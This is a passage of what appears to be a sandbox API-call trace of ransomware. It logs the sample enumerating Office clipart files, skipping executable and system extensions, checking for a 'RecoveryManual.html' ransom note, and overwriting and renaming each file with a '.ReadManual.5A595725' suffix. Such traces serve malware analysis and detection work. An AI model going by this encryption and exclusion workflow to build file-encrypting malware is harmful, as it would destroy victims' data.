Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" [0270.831] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ReadManual.5A595725" [0270.831] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.ReadManual.5A595725") returned 87 [0270.831] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39149976377) returned 1 [0270.831] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf")) returned 0x20 [0270.831] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.832] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8168) returned 1 [0270.832] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fe8, lpName=0x0) returned 0x184 [0270.832] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.832] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.832] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.834] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.834] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fe8) returned 0x2f0000 [0270.834] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.834] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39150317356) returned 1 [0270.834] CloseHandle (hObject=0x184) returned 1 [0270.835] SetSecurityInfo () returned 0x57 [0270.835] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.835] CloseHandle (hObject=0x194) returned 1 [0270.835] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0270.835] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02125_.WMF" | out: lpString1="NA02125_.WMF") returned="NA02125_.WMF" [0270.835] lstrcmpiW (lpString1="NA02125_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.835] StrStrIW (lpFirst="NA02125_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.835] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.835] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.835] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" [0270.835] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ReadManual.5A595725" [0270.835] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.ReadManual.5A595725") returned 87 [0270.835] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39150413239) returned 1 [0270.835] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf")) returned 0x20 [0270.836] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.836] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18454) returned 1 [0270.837] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4816, lpName=0x0) returned 0x184 [0270.837] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.838] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.838] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.839] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.839] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4816) returned 0x2f0000 [0270.840] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.840] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39150847885) returned 1 [0270.840] CloseHandle (hObject=0x184) returned 1 [0270.840] SetSecurityInfo () returned 0x57 [0270.840] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.840] CloseHandle (hObject=0x194) returned 1 [0270.840] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0270.840] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02126_.WMF" | out: lpString1="NA02126_.WMF") returned="NA02126_.WMF" [0270.840] lstrcmpiW (lpString1="NA02126_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.840] StrStrIW (lpFirst="NA02126_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.840] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.840] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.841] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.841] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.841] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" [0270.841] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ReadManual.5A595725" [0270.841] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.ReadManual.5A595725") returned 87 [0270.841] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39150947401) returned 1 [0270.841] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf")) returned 0x20 [0270.841] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.841] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31824) returned 1 [0270.841] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c50, lpName=0x0) returned 0x184 [0270.841] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.842] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.842] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.844] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.844] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c50) returned 0x2f0000 [0270.844] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.844] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39151304442) returned 1 [0270.844] CloseHandle (hObject=0x184) returned 1 [0270.844] SetSecurityInfo () returned 0x57 [0270.844] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.845] CloseHandle (hObject=0x194) returned 1 [0270.845] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02127_.WMF", cAlternateFileName="")) returned 1 [0270.845] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02127_.WMF" | out: lpString1="NA02127_.WMF") returned="NA02127_.WMF" [0270.845] lstrcmpiW (lpString1="NA02127_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.845] StrStrIW (lpFirst="NA02127_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.845] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.845] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.845] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" [0270.845] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ReadManual.5A595725" [0270.845] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF.ReadManual.5A595725") returned 87 [0270.845] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39151400668) returned 1 [0270.845] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf")) returned 0x20 [0270.846] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02127_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.846] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4068) returned 1 [0270.846] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfe4, lpName=0x0) returned 0x184 [0270.847] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.847] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.847] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.849] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.849] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe4) returned 0x2f0000 [0270.849] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.849] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39151812542) returned 1 [0270.849] CloseHandle (hObject=0x184) returned 1 [0270.849] SetSecurityInfo () returned 0x57 [0270.850] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.850] CloseHandle (hObject=0x194) returned 1 [0270.850] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02262_.WMF", cAlternateFileName="")) returned 1 [0270.850] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02262_.WMF" | out: lpString1="NA02262_.WMF") returned="NA02262_.WMF" [0270.850] lstrcmpiW (lpString1="NA02262_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.850] StrStrIW (lpFirst="NA02262_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.850] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.850] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.850] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" [0270.850] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ReadManual.5A595725" [0270.850] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF.ReadManual.5A595725") returned 87 [0270.850] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39151909513) returned 1 [0270.850] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf")) returned 0x20 [0270.851] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02262_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.851] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3328) returned 1 [0270.851] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x184 [0270.851] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.852] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.852] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.853] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.854] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x2f0000 [0270.854] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.854] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39152261134) returned 1 [0270.854] CloseHandle (hObject=0x184) returned 1 [0270.854] SetSecurityInfo () returned 0x57 [0270.854] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.854] CloseHandle (hObject=0x194) returned 1 [0270.854] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02264_.WMF", cAlternateFileName="")) returned 1 [0270.854] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02264_.WMF" | out: lpString1="NA02264_.WMF") returned="NA02264_.WMF" [0270.854] lstrcmpiW (lpString1="NA02264_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.854] StrStrIW (lpFirst="NA02264_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.854] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.854] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.855] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.855] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" [0270.855] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ReadManual.5A595725" [0270.855] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF.ReadManual.5A595725") returned 87 [0270.855] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39152587301) returned 1 [0270.857] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf")) returned 0x20 [0270.857] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02264_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02264_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.858] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: 